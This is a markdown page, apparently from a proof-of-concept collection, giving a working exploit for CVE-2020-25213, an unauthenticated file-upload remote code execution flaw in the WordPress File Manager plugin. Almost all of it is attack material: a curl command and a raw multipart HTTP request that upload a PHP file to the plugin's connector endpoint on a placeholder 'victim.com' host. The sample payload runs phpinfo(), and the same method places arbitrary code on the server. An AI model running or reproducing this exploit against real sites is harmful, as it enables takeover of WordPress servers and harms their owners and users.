Awesome-POC/CMS漏洞/WordPress File Manager<6.9 RCE CVE-2020-25213.md
2024-11-06 14:10:36 +08:00

42 lines
1.1 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# WordPress File Manager6.9 RCE CVE-2020-25213
## 漏洞复现
poc
```
curl -ks --max-time 5 -F "reqid=17457a1fe6959" -F "cmd=upload" -F "target=l1_Lw" -F "mtime[]=1576045135" -F "upload[]=@/$file_upload" "hxxps://victim.com/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php"
```
```
POST /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php HTTP/1.1
Content-Length: 631
Content-Type: multipart/form-data; boundary=------------------------9689147a5989a801
Connection: close
--------------------------9689147a5989a801
Content-Disposition: form-data; name="reqid"
17457a1fe6959
--------------------------9689147a5989a801
Content-Disposition: form-data; name="cmd"
upload
--------------------------9689147a5989a801
Content-Disposition: form-data; name="target"
l1_Lw
--------------------------9689147a5989a801
Content-Disposition: form-data; name="mtime[]"
1576045135
--------------------------9689147a5989a801
Content-Disposition: form-data; name="upload[]"; filename="1.php"
Content-Type: application/octet-stream
<?php phpinfo();?>
--------------------------9689147a5989a801--
```